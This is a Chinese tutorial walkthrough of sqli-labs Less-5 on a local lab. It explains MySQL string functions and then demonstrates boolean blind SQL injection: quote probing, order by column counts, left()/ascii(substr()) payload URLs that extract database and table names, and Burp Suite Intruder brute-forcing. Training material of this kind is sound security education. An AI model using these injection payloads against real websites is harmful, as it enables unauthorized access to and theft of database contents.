前序

经历过前几关的洗礼后,我们正式进入了第五关,第五关的操作方法与前几关相比有很大的差别,所以我们再开始之前,先补充一些有关于数据库的基本知识,以及一些操作,以助于能顺利掌握该关卡。(该关卡为BOOL类型注入)

补充基础知识

left函数

格式:

  1. left(database(),1)='s'

用法:left(a,b)从左侧截取a的前b位,正确返回1,错误返回0;
演示:首先用cmd指令进入数据库后,进入security数据库,也就是进入搭建靶场的数据库;
我们先展示一下该函数使用后会出现什么样的情况,使用sql语句:

select left(database(),1)='s';

结果为:
Sqli-labs Less5教程 - 图1
继续使用sql语句来进行推断:

select left(database(),2)='s';

结果为:
image.png
继续使用:

select left(database(),2)='se';
结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619335672393-1725b353-c7ac-4694-a40b-003cec2f5877.png#clientId=u5561a61b-0469-4&from=paste&height=154&id=u5da45819&margin=%5Bobject%20Object%5D&name=image.png&originHeight=154&originWidth=419&originalType=binary&size=7512&status=done&style=none&taskId=u127d9ba9-947f-4a3d-a830-5bcb09403d9&width=419)<br />**所以我们可以,确定该函数的用法就是:left(a,b)从左侧截取a的前b位,正确返回1,错误返回0;由于我们所用的是security数据库所以所有的判断都基于这个数据库来判断;**

regexp函数

格式:

select user() regexp 'r'

用法:从左到右匹配当前的结果,匹配成功返回1,失败返回0;
演示:首先用cmd指令进入数据库后,查看user()返回的结果;
我们先查询user()的结果,使用的sql语句为:

select user();
结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619336331726-b6ee3cd7-dc15-4f28-b565-9631618c6b30.png#clientId=u5561a61b-0469-4&from=paste&height=152&id=ud5529aea&margin=%5Bobject%20Object%5D&name=image.png&originHeight=152&originWidth=319&originalType=binary&size=6308&status=done&style=none&taskId=u39bfd41e-51f4-492e-9907-a80e9cb0541&width=319)<br />接着使用,该函数进行演示,使用的语句为:
select user() regexp 'r';
结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619336476823-22136a61-f8bf-4886-b60b-2b541285c7e2.png#clientId=u5561a61b-0469-4&from=paste&height=152&id=ufeda6904&margin=%5Bobject%20Object%5D&name=image.png&originHeight=152&originWidth=391&originalType=binary&size=6807&status=done&style=none&taskId=u724e5b4a-1c67-498f-b127-b8002029217&width=391)<br />  继续使用sql语句:
select user() regexp 'root';
 结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619336596857-efac0ef5-96a3-432d-993c-9017029a8a50.png#clientId=u5561a61b-0469-4&from=paste&height=151&id=u11e54a48&margin=%5Bobject%20Object%5D&name=image.png&originHeight=151&originWidth=412&originalType=binary&size=7234&status=done&style=none&taskId=u743fd17c-00c1-4bbd-9db9-dcbd6bebeef&width=412)<br />继续使用sql语句:
select user() regexp 'rot';
结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619336706395-fbf1554f-35c9-423d-b3ae-120f8bdea383.png#clientId=u5561a61b-0469-4&from=paste&height=155&id=u9ba7ee5a&margin=%5Bobject%20Object%5D&name=image.png&originHeight=155&originWidth=421&originalType=binary&size=7259&status=done&style=none&taskId=uae8a8c8c-06e0-4a67-bad2-850e174a410&width=421)<br />**所以我们可以得出,该函数就是根据结果从左向右进行比对,比对成功则返回1,失败则返回0;**

like函数

格式:

select user() like 'ro%'

用法:与regexp函数基本相同,唯一不同点就是在后面引入了%这个符号;
演示:首先用cmd指令进入数据库后,查看user()返回的结果;
我们先查询user()的结果,使用的sql语句为:

select user();
结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619336331726-b6ee3cd7-dc15-4f28-b565-9631618c6b30.png#clientId=u5561a61b-0469-4&from=paste&height=152&id=qzruW&margin=%5Bobject%20Object%5D&name=image.png&originHeight=152&originWidth=319&originalType=binary&size=6308&status=done&style=none&taskId=u39bfd41e-51f4-492e-9907-a80e9cb0541&width=319)<br />接着使用,该函数进行演示,使用的语句为:
select user() like 'ro%';
结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619337084257-25aaee9d-81e2-4efd-a6b9-542ac7d08edc.png#clientId=u5561a61b-0469-4&from=paste&height=151&id=u88632cb3&margin=%5Bobject%20Object%5D&name=image.png&originHeight=151&originWidth=405&originalType=binary&size=6978&status=done&style=none&taskId=uebb6aba7-2035-497d-85b7-8f0638721ef&width=405)<br />**由于,该函数与上面所提到的regexp函数的操作基本相同,用法也一样,所以过多的解释将不再进行,结论参考以上regexp函数的结论;**

substr(a,b,c)函数

格式:

select substr(a,b,c) XXXX

用法:从位置b开始,截取a字符串c位的长度;
演示:首先用cmd指令进入数据库后,进入security数据库,也就是进入搭建靶场的数据库;
我们先展示一下该函数使用后会出现什么样的情况,使用sql语句:

select left(database(),1)='s';

结果为:
Sqli-labs Less5教程 - 图3
继续使用sql语句来进行推断:

select substr((select database()),1,1) ='s';
结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619337806847-4410f4d8-e11f-4513-89d5-4fb3ba20c9bf.png#clientId=u5561a61b-0469-4&from=paste&height=149&id=udbf6554c&margin=%5Bobject%20Object%5D&name=image.png&originHeight=149&originWidth=585&originalType=binary&size=9164&status=done&style=none&taskId=u0c9c173d-4d7f-482a-8f91-0385ef26b92&width=585)<br />继续使用sql语句来进行推断:
select substr((select database()),1,1) ='so';
结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619337853036-61df032a-d256-4433-b2ab-5149e4962ee0.png#clientId=u5561a61b-0469-4&from=paste&height=156&id=uec9b42c5&margin=%5Bobject%20Object%5D&name=image.png&originHeight=156&originWidth=579&originalType=binary&size=9420&status=done&style=none&taskId=ube1bd38c-136f-4f58-8906-04410ce4d8d&width=579)<br />** 所以我们可以得出结论,第一个位置也就是从左往右数第一个,选取长度为1,那么security字符串第一个长度为1就是s;**

ascii()函数

格式:

select ascii('xxxx')

用法:将字符串转化为ASCII的值;
使用sql语句:

select ascii('a');

结果为:
image.png

正文

进入第五关!

image.png
首先使用该URL对其进行测试,看其返回结果;

http://127.0.0.1/sqli-labs/Less-5/?id=1
结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619402499620-38da4a73-0842-46c6-b1a3-717b99429b9d.png#clientId=ub0d7c80c-c9be-4&from=paste&height=515&id=uff8278d2&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1030&originWidth=1920&originalType=binary&size=456037&status=done&style=none&taskId=ucdaa1200-e1b8-415e-b3d9-85d816d1c8c&width=960)<br />使用以下URL:
http://127.0.0.1/sqli-labs/Less-5/?id=1000

结果如下:
image.png
所以我们可以判断其注入类型为,BOOL盲注;因为该类型的注入就会出现两种结果,我们可以根据编程中bool类型去理解,所以我们可以看出,正确则返回You are in…
错误则返回空页面;

我们继续使用URL:

http://127.0.0.1/sqli-labs/Less-5/?id=1'
结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619402799481-cde694e0-c142-4a97-94bb-7cc03d6a1b69.png#clientId=ub0d7c80c-c9be-4&from=paste&height=515&id=uc91eac2b&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1030&originWidth=1920&originalType=binary&size=460210&status=done&style=none&taskId=ua1e54721-80ca-40b9-a5e4-c1b9c74c167&width=960)<br />所以根据该结果,我们可以得出存在注入漏洞!!!

我们先进行order by查询:

http://127.0.0.1/sqli-labs/Less-5/?id=1' order by 4 --+
结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619403203142-9a6685bc-52b9-4c6f-b733-1ba4c2b4cfaf.png#clientId=ub0d7c80c-c9be-4&from=paste&height=515&id=u1c616408&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1030&originWidth=1920&originalType=binary&size=453888&status=done&style=none&taskId=u4d7ea488-5647-4975-aab3-a86d8ef997d&width=960)<br />所以我们可以得出结论,该属性列一共有三列;

就像我们上文所提及的,不可以使用union select进行查询,因为使用该语句后,无论查询到什么,只要是正确的都只会返回You are in…的页面,所以我们使用前序所补充的知识进行查询;

首先使用left函数;

http://127.0.0.1/sqli-labs/Less-5/?id=1' and left((select database()),1) = 's' --+
查询结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619403439900-46268fd9-28f3-48ea-afdf-95af5351a377.png#clientId=ub0d7c80c-c9be-4&from=paste&height=515&id=ue2f2a7ea&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1030&originWidth=1920&originalType=binary&size=456387&status=done&style=none&taskId=u8f03ce87-d5d4-467b-9880-3d4f5eef3c7&width=960)<br />

破解数据库

但是根据实际情况,我们不可能一直手动注入去猜解,这样的速度不进慢而且效率低下,我们可以使用一些脚本进行,但是在这里,我们用BurpSuite进行抓包爆破,进而得到数据库的名字;

打开代理,设置端口,在本文中并不详细介绍,我们直接进行抓包之后的过程;
在URL中我们随便输入一个字母作为猜测;
抓包成功后:
image.png
发送到Intruder,对其中数据进行清除值;
image.png
然后让a作为一个变量;
image.png
使用其自带的字母库,对数据库进行猜解;
image.png
打开线程,并设置;
image.png
开始进行爆破;
image.png
我们会发现,只有s时,它返回的长度与其他的不一样,所以我们可以判断出来,数据库第一个字母为s;
查看s的响应信息;
image.png
所以我们可以推断s为正确的数据库第一个名字;
以此类推,我们可以破解出数据库的具体名字;

那么接下来,我们可以根据二分法来进行猜解表单,使用的URL为:

http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))>1 --+

结果为:
image.png
所以我们可以根据后面的参数值来改变,从而确定了表单的名称,唯一一点需要自己手动的注入,比较麻烦;
需要手动注入,从而获得名称…
那么本关也就到此结束了…